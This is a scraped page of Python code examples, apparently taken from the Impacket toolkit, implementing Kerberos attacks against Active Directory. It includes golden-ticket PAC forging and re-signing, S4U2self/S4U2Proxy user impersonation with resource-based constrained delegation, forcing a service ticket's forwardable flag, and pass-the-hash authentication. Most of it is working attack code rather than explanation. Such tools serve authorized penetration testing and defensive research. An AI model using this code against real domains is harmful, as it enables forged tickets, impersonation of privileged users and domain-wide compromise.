Beispiel #1
0
    def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart,
                          pacInfos):
        logging.info('Signing/Encrypting final ticket')

        # We changed everything we needed to make us special. Now let's repack and calculate checksums
        validationInfoBlob = pacInfos[PAC_LOGON_INFO]
        validationInfoAlignment = b'\x00' * ((
            (len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))

        pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
        pacClientInfoAlignment = b'\x00' * ((
            (len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))

        serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
        serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
        serverChecksumAlignment = b'\x00' * ((
            (len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))

        privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
        privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
        privSvrChecksumAlignment = b'\x00' * ((
            (len(privSvrChecksumBlob) + 7) // 8 * 8) -
                                              len(privSvrChecksumBlob))

        # The offset are set from the beginning of the PAC_TYPE
        # [MS-PAC] 2.4 PAC_INFO_BUFFER
        offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4

        # Let's build the PAC_INFO_BUFFER for each one of the elements
        validationInfoIB = PAC_INFO_BUFFER()
        validationInfoIB['ulType'] = PAC_LOGON_INFO
        validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
        validationInfoIB['Offset'] = offsetData
        offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
                      7) // 8 * 8

        pacClientInfoIB = PAC_INFO_BUFFER()
        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
        pacClientInfoIB['Offset'] = offsetData
        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] +
                      7) // 8 * 8

        serverChecksumIB = PAC_INFO_BUFFER()
        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
        serverChecksumIB['Offset'] = offsetData
        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
                      7) // 8 * 8

        privSvrChecksumIB = PAC_INFO_BUFFER()
        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
        privSvrChecksumIB['Offset'] = offsetData
        # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8

        # Building the PAC_TYPE as specified in [MS-PAC]
        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
            pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
        buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData(
        ) + privSvrChecksumAlignment

        pacType = PACTYPE()
        pacType['cBuffers'] = 4
        pacType['Version'] = 0
        pacType['Buffers'] = buffers + buffersTail

        blobToChecksum = pacType.getData()

        checkSumFunctionServer = _checksum_table[
            serverChecksum['SignatureType']]
        if serverChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
            keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
        elif serverChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
            keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
            keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
        else:
            raise Exception('Invalid Server checksum type 0x%x' %
                            serverChecksum['SignatureType'])

        checkSumFunctionPriv = _checksum_table[
            privSvrChecksum['SignatureType']]
        if privSvrChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
            keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
        elif privSvrChecksum[
                'SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
            keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
            keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
        else:
            raise Exception('Invalid Priv checksum type 0x%x' %
                            serverChecksum['SignatureType'])

        serverChecksum['Signature'] = checkSumFunctionServer.checksum(
            keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
        logging.info('\tPAC_SERVER_CHECKSUM')
        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(
            keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
        logging.info('\tPAC_PRIVSVR_CHECKSUM')

        buffersTail = serverChecksum.getData(
        ) + serverChecksumAlignment + privSvrChecksum.getData(
        ) + privSvrChecksumAlignment
        pacType['Buffers'] = buffers + buffersTail

        authorizationData = AuthorizationData()
        authorizationData[0] = noValue
        authorizationData[0][
            'ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
        authorizationData[0]['ad-data'] = pacType.getData()
        authorizationData = encoder.encode(authorizationData)

        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Customized EncTicketPart')
            print(encTicketPart.prettyPrint())
            print('\n')

        encodedEncTicketPart = encoder.encode(encTicketPart)

        cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
        if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
        elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
        elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
            key = Key(cipher.enctype, unhexlify(self.__options.nthash))
        else:
            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)

        # Key Usage 2
        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
        # key or application session key), encrypted with the
        # service key (Section 5.3)
        logging.info('\tEncTicketPart')
        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)

        kdcRep['ticket']['enc-part']['cipher'] = cipherText
        kdcRep['ticket']['enc-part']['kvno'] = 2

        # Lastly.. we have to encrypt the kdcRep['enc-part'] part
        # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
        encodedEncASRepPart = encoder.encode(encASorTGSRepPart)

        if self.__domain == self.__server:
            # Key Usage 3
            # AS-REP encrypted part (includes TGS session key or
            # application session key), encrypted with the client key
            # (Section 5.4.2)
            sessionKey = Key(cipher.enctype,
                             encASorTGSRepPart['key']['keyvalue'].asOctets())
            logging.info('\tEncASRepPart')
            cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart,
                                        None)
        else:
            # Key Usage 8
            # TGS-REP encrypted part (includes application session
            # key), encrypted with the TGS session key
            # (Section 5.4.2)
            sessionKey = Key(cipher.enctype,
                             encASorTGSRepPart['key']['keyvalue'].asOctets())
            logging.info('\tEncTGSRepPart')
            cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart,
                                        None)

        kdcRep['enc-part']['cipher'] = cipherText
        kdcRep['enc-part']['etype'] = cipher.enctype
        kdcRep['enc-part']['kvno'] = 1

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Final Golden Ticket')
            print(kdcRep.prettyPrint())
            print('\n')

        return encoder.encode(kdcRep), cipher, sessionKey
Beispiel #2
0
    def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost):
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1(decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('AUTHENTICATOR')
            print(authenticator.prettyPrint())
            print('\n')

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] = 5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
        # requests a service ticket to itself on behalf of a user. The user is
        # identified to the KDC by the user's name and realm.
        clientName = Principal(
            self.__options.impersonate,
            type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        S4UByteArray = struct.pack(
            '<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
        S4UByteArray += b(self.__options.impersonate) + b(
            self.__domain) + b'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('S4UByteArray')
            hexdump(S4UByteArray)

        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
        # with the following three parameters: the session key of the TGT of
        # the service performing the S4U2Self request, the message type value
        # of 17, and the byte array S4UByteArray.
        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('CheckSum')
            hexdump(checkSum)

        paForUserEnc = PA_FOR_USER_ENC()
        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
        paForUserEnc['userRealm'] = self.__domain
        paForUserEnc['cksum'] = noValue
        paForUserEnc['cksum']['cksumtype'] = int(
            constants.ChecksumTypes.hmac_md5.value)
        paForUserEnc['cksum']['checksum'] = checkSum
        paForUserEnc['auth-package'] = 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('PA_FOR_USER_ENC')
            print(paForUserEnc.prettyPrint())

        encodedPaForUserEnc = encoder.encode(paForUserEnc)

        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)
        opts.append(constants.KDCOptions.canonicalize.value)

        reqBody['kdc-options'] = constants.encodeFlags(opts)

        serverName = Principal(
            self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)
        seq_set_iter(reqBody, 'etype', (int(
            cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Final TGS')
            print(tgsReq.prettyPrint())

        logging.info('\tRequesting S4U2self')
        message = encoder.encode(tgsReq)

        r = sendReceive(message, self.__domain, kdcHost)

        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('TGS_REP')
            print(tgs.prettyPrint())

        ################################################################################
        # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
        # So here I have a ST for me.. I now want a ST for another service
        # Extract the ticket from the TGT
        ticketTGT = Ticket()
        ticketTGT.from_asn1(decodedTGT['ticket'])

        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] = constants.encodeFlags(opts)
        seq_set(apReq, 'ticket', ticketTGT.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1(decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
                                                       encodedAuthenticator,
                                                       None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] = 5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(
            constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # Add resource-based constrained delegation support
        paPacOptions = PA_PAC_OPTIONS()
        paPacOptions['flags'] = constants.encodeFlags(
            (constants.PAPacOptions.resource_based_constrained_delegation.
             value, ))

        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1][
            'padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
        tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        # This specified we're doing S4U
        opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
        opts.append(constants.KDCOptions.canonicalize.value)
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        service2 = Principal(
            self.__options.spn,
            type=constants.PrincipalNameType.NT_SRV_INST.value)
        seq_set(reqBody, 'sname', service2.components_to_asn1)
        reqBody['realm'] = self.__domain

        myTicket = ticket.to_asn1(TicketAsn1())
        seq_set_iter(reqBody, 'additional-tickets', (myTicket, ))

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)
        seq_set_iter(reqBody, 'etype',
                     (int(constants.EncryptionTypes.rc4_hmac.value),
                      int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
                      int(constants.EncryptionTypes.des_cbc_md5.value),
                      int(cipher.enctype)))
        message = encoder.encode(tgsReq)

        logging.info('\tRequesting S4U2Proxy')
        r = sendReceive(message, self.__domain, kdcHost)

        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

        cipherText = tgs['enc-part']['cipher']

        # Key Usage 8
        # TGS-REP encrypted part (includes application session
        # key), encrypted with the TGS session key (Section 5.4.2)
        plainText = cipher.decrypt(sessionKey, 8, cipherText)

        encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

        newSessionKey = Key(encTGSRepPart['key']['keytype'],
                            encTGSRepPart['key']['keyvalue'])

        # Creating new cipher based on received keytype
        cipher = _enctype_table[encTGSRepPart['key']['keytype']]

        return r, cipher, sessionKey, newSessionKey
Beispiel #3
0
    if encryptionTypesData.has_key(enctype) is False:
        raise Exception('No Encryption Data Available!')

    # Let's build the timestamp
    timeStamp = PA_ENC_TS_ENC()

    now = datetime.datetime.utcnow()
    timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
    timeStamp['pausec'] = now.microsecond

    # Encrypt the shyte
    cipher = _enctype_table[enctype]

    # Pass the hash/aes key :P
    if nthash != '':
        key = Key(cipher.enctype, nthash)
    elif aesKey != '':
        key = Key(cipher.enctype, unhexlify(aesKey))
    else:
        key = cipher.string_to_key(password, encryptionTypesData[enctype],
                                   None)
    encodedTimeStamp = encoder.encode(timeStamp)

    # Key Usage 1
    # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the
    # client key (Section 5.2.7.2)
    encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None)

    encryptedData = EncryptedData()
    encryptedData['etype'] = cipher.enctype
    encryptedData['cipher'] = encriptedTimeStamp
Beispiel #4
0
def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey):

    # Decode the TGT
    try:
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
    except:
        decodedTGT = decoder.decode(tgt, asn1Spec=TGS_REP())[0]

    domain = domain.upper()
    # Extract the ticket from the TGT
    ticket = Ticket()
    ticket.from_asn1(decodedTGT['ticket'])

    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = str(decodedTGT['crealm'])

    clientName = Principal()
    clientName.from_asn1(decodedTGT, 'crealm', 'cname')

    seq_set(authenticator, 'cname', clientName.components_to_asn1)

    now = datetime.datetime.utcnow()
    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 7
    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
    # TGS authenticator subkey), encrypted with the TGS session
    # key (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
                                                   encodedAuthenticator, None)

    apReq['authenticator'] = None
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    encodedApReq = encoder.encode(apReq)

    tgsReq = TGS_REQ()

    tgsReq['pvno'] = 5
    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
    tgsReq['padata'] = None
    tgsReq['padata'][0] = None
    tgsReq['padata'][0]['padata-type'] = int(
        constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
    tgsReq['padata'][0]['padata-value'] = encodedApReq

    reqBody = seq_set(tgsReq, 'req-body')

    opts = list()
    opts.append(constants.KDCOptions.forwardable.value)
    opts.append(constants.KDCOptions.renewable.value)
    opts.append(constants.KDCOptions.renewable_ok.value)
    opts.append(constants.KDCOptions.canonicalize.value)

    reqBody['kdc-options'] = constants.encodeFlags(opts)
    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    reqBody['realm'] = domain

    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] = random.getrandbits(31)
    seq_set_iter(reqBody, 'etype',
                 (int(constants.EncryptionTypes.rc4_hmac.value),
                  int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
                  int(cipher.enctype)))

    message = encoder.encode(tgsReq)

    r = sendReceive(message, domain, kdcHost)

    # Get the session key

    tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

    cipherText = tgs['enc-part']['cipher']

    # Key Usage 8
    # TGS-REP encrypted part (includes application session
    # key), encrypted with the TGS session key (Section 5.4.2)
    plainText = cipher.decrypt(sessionKey, 8, str(cipherText))

    encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

    newSessionKey = Key(encTGSRepPart['key']['keytype'],
                        str(encTGSRepPart['key']['keyvalue']))
    # Creating new cipher based on received keytype
    cipher = _enctype_table[encTGSRepPart['key']['keytype']]

    # Check we've got what we asked for
    res = decoder.decode(r, asn1Spec=TGS_REP())[0]
    spn = Principal()
    spn.from_asn1(res['ticket'], 'realm', 'sname')

    if spn.components[0] == serverName.components[0]:
        # Yes.. bye bye
        return r, cipher, sessionKey, newSessionKey
    else:
        # Let's extract the Ticket, change the domain and keep asking
        domain = spn.components[1]
        return getKerberosTGS(serverName, domain, kdcHost, r, cipher,
                              newSessionKey)

    return r, cipher, sessionKey, newSessionKey
Beispiel #5
0
    def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey,
                                        sessionKey, nthash, aesKey, kdcHost,
                                        additional_ticket_path):
        if not os.path.isfile(additional_ticket_path):
            logging.error("Ticket %s doesn't exist" % additional_ticket_path)
            exit(0)
        else:
            decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
            logging.info("\tUsing additional ticket %s instead of S4U2Self" %
                         additional_ticket_path)
            ccache = CCache.loadFile(additional_ticket_path)
            principal = ccache.credentials[0].header['server'].prettyPrint()
            creds = ccache.getCredential(principal.decode())
            TGS = creds.toTGS(principal)

            tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]

            if logging.getLogger().level == logging.DEBUG:
                logging.debug('TGS_REP')
                print(tgs.prettyPrint())

            if self.__force_forwardable:
                # Convert hashes to binary form, just in case we're receiving strings
                if isinstance(nthash, str):
                    try:
                        nthash = bytes.fromhex(nthash)
                    except TypeError:
                        pass
                if isinstance(aesKey, str):
                    try:
                        aesKey = bytes.fromhex(aesKey)
                    except TypeError:
                        pass

                # Compute NTHash and AESKey if they're not provided in arguments
                if self.__password != '' and self.__domain != '' and self.__user != '':
                    if not nthash:
                        nthash = compute_nthash(self.__password)
                        if logging.getLogger().level == logging.DEBUG:
                            logging.debug('NTHash')
                            print(nthash.hex())
                    if not aesKey:
                        salt = self.__domain.upper() + self.__user
                        aesKey = _AES256CTS.string_to_key(self.__password,
                                                          salt,
                                                          params=None).contents
                        if logging.getLogger().level == logging.DEBUG:
                            logging.debug('AESKey')
                            print(aesKey.hex())

                # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
                cipherText = tgs['ticket']['enc-part']['cipher']

                # Check which cipher was used to encrypt the ticket. It's not always the same
                # This determines which of our keys we should use for decryption/re-encryption
                newCipher = _enctype_table[int(
                    tgs['ticket']['enc-part']['etype'])]
                if newCipher.enctype == Enctype.RC4:
                    key = Key(newCipher.enctype, nthash)
                else:
                    key = Key(newCipher.enctype, aesKey)

                # Decrypt and decode the ticket
                # Key Usage 2
                # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
                #  application session key), encrypted with the service key
                #  (section 5.4.2)
                plainText = newCipher.decrypt(key, 2, cipherText)
                encTicketPart = decoder.decode(plainText,
                                               asn1Spec=EncTicketPart())[0]

                # Print the flags in the ticket before modification
                logging.debug('\tService ticket from S4U2self flags: ' +
                              str(encTicketPart['flags']))
                logging.debug('\tService ticket from S4U2self is' + ('' if (
                    encTicketPart['flags'][TicketFlags.forwardable.value] == 1
                ) else ' not') + ' forwardable')

                # Customize flags the forwardable flag is the only one that really matters
                logging.info('\tForcing the service ticket to be forwardable')
                # convert to string of bits
                flagBits = encTicketPart['flags'].asBinary()
                # Set the forwardable flag. Awkward binary string insertion
                flagBits = flagBits[:TicketFlags.forwardable.
                                    value] + '1' + flagBits[
                                        TicketFlags.forwardable.value + 1:]
                # Overwrite the value with the new bits
                encTicketPart['flags'] = encTicketPart['flags'].clone(
                    value=flagBits)  # Update flags

                logging.debug('\tService ticket flags after modification: ' +
                              str(encTicketPart['flags']))
                logging.debug('\tService ticket now is' + ('' if (
                    encTicketPart['flags'][TicketFlags.forwardable.value] == 1
                ) else ' not') + ' forwardable')

                # Re-encode and re-encrypt the ticket
                # Again, Key Usage 2
                encodedEncTicketPart = encoder.encode(encTicketPart)
                cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart,
                                               None)

                # put it back in the TGS
                tgs['ticket']['enc-part']['cipher'] = cipherText

            ################################################################################
            # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
            # So here I have a ST for me.. I now want a ST for another service
            # Extract the ticket from the TGT
            ticketTGT = Ticket()
            ticketTGT.from_asn1(decodedTGT['ticket'])

            # Get the service ticket
            ticket = Ticket()
            ticket.from_asn1(tgs['ticket'])

            apReq = AP_REQ()
            apReq['pvno'] = 5
            apReq['msg-type'] = int(
                constants.ApplicationTagNumbers.AP_REQ.value)

            opts = list()
            apReq['ap-options'] = constants.encodeFlags(opts)
            seq_set(apReq, 'ticket', ticketTGT.to_asn1)

            authenticator = Authenticator()
            authenticator['authenticator-vno'] = 5
            authenticator['crealm'] = str(decodedTGT['crealm'])

            clientName = Principal()
            clientName.from_asn1(decodedTGT, 'crealm', 'cname')

            seq_set(authenticator, 'cname', clientName.components_to_asn1)

            now = datetime.datetime.utcnow()
            authenticator['cusec'] = now.microsecond
            authenticator['ctime'] = KerberosTime.to_asn1(now)

            encodedAuthenticator = encoder.encode(authenticator)

            # Key Usage 7
            # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
            # TGS authenticator subkey), encrypted with the TGS session
            # key (Section 5.5.1)
            encryptedEncodedAuthenticator = cipher.encrypt(
                sessionKey, 7, encodedAuthenticator, None)

            apReq['authenticator'] = noValue
            apReq['authenticator']['etype'] = cipher.enctype
            apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

            encodedApReq = encoder.encode(apReq)

            tgsReq = TGS_REQ()

            tgsReq['pvno'] = 5
            tgsReq['msg-type'] = int(
                constants.ApplicationTagNumbers.TGS_REQ.value)
            tgsReq['padata'] = noValue
            tgsReq['padata'][0] = noValue
            tgsReq['padata'][0]['padata-type'] = int(
                constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
            tgsReq['padata'][0]['padata-value'] = encodedApReq

            # Add resource-based constrained delegation support
            paPacOptions = PA_PAC_OPTIONS()
            paPacOptions['flags'] = constants.encodeFlags(
                (constants.PAPacOptions.resource_based_constrained_delegation.
                 value, ))

            tgsReq['padata'][1] = noValue
            tgsReq['padata'][1][
                'padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
            tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)

            reqBody = seq_set(tgsReq, 'req-body')

            opts = list()
            # This specified we're doing S4U
            opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
            opts.append(constants.KDCOptions.canonicalize.value)
            opts.append(constants.KDCOptions.forwardable.value)
            opts.append(constants.KDCOptions.renewable.value)

            reqBody['kdc-options'] = constants.encodeFlags(opts)
            service2 = Principal(
                self.__options.spn,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            seq_set(reqBody, 'sname', service2.components_to_asn1)
            reqBody['realm'] = self.__domain

            myTicket = ticket.to_asn1(TicketAsn1())
            seq_set_iter(reqBody, 'additional-tickets', (myTicket, ))

            now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

            reqBody['till'] = KerberosTime.to_asn1(now)
            reqBody['nonce'] = random.getrandbits(31)
            seq_set_iter(
                reqBody, 'etype',
                (int(constants.EncryptionTypes.rc4_hmac.value),
                 int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
                 int(constants.EncryptionTypes.des_cbc_md5.value),
                 int(cipher.enctype)))
            message = encoder.encode(tgsReq)

            logging.info('\tRequesting S4U2Proxy')
            r = sendReceive(message, self.__domain, kdcHost)

            tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

            cipherText = tgs['enc-part']['cipher']

            # Key Usage 8
            # TGS-REP encrypted part (includes application session
            # key), encrypted with the TGS session key (Section 5.4.2)
            plainText = cipher.decrypt(sessionKey, 8, cipherText)

            encTGSRepPart = decoder.decode(plainText,
                                           asn1Spec=EncTGSRepPart())[0]

            newSessionKey = Key(encTGSRepPart['key']['keytype'],
                                encTGSRepPart['key']['keyvalue'])

            # Creating new cipher based on received keytype
            cipher = _enctype_table[encTGSRepPart['key']['keytype']]

            return r, cipher, sessionKey, newSessionKey
def getKerberosTGT(clientName,
                   password,
                   domain,
                   lmhash,
                   nthash,
                   aesKey='',
                   kdcHost=None,
                   requestPAC=True):

    # Convert to binary form, just in case we're receiving strings
    if isinstance(lmhash, str):
        try:
            lmhash = unhexlify(lmhash)
        except TypeError:
            pass
    if isinstance(nthash, str):
        try:
            nthash = unhexlify(nthash)
        except TypeError:
            pass
    if isinstance(aesKey, str):
        try:
            aesKey = unhexlify(aesKey)
        except TypeError:
            pass

    asReq = AS_REQ()

    domain = domain.upper()
    serverName = Principal('krbtgt/%s' % domain,
                           type=constants.PrincipalNameType.NT_PRINCIPAL.value)

    pacRequest = KERB_PA_PAC_REQUEST()
    pacRequest['include-pac'] = requestPAC
    encodedPacRequest = encoder.encode(pacRequest)

    asReq['pvno'] = 5
    asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)

    asReq['padata'] = noValue
    asReq['padata'][0] = noValue
    asReq['padata'][0]['padata-type'] = int(
        constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
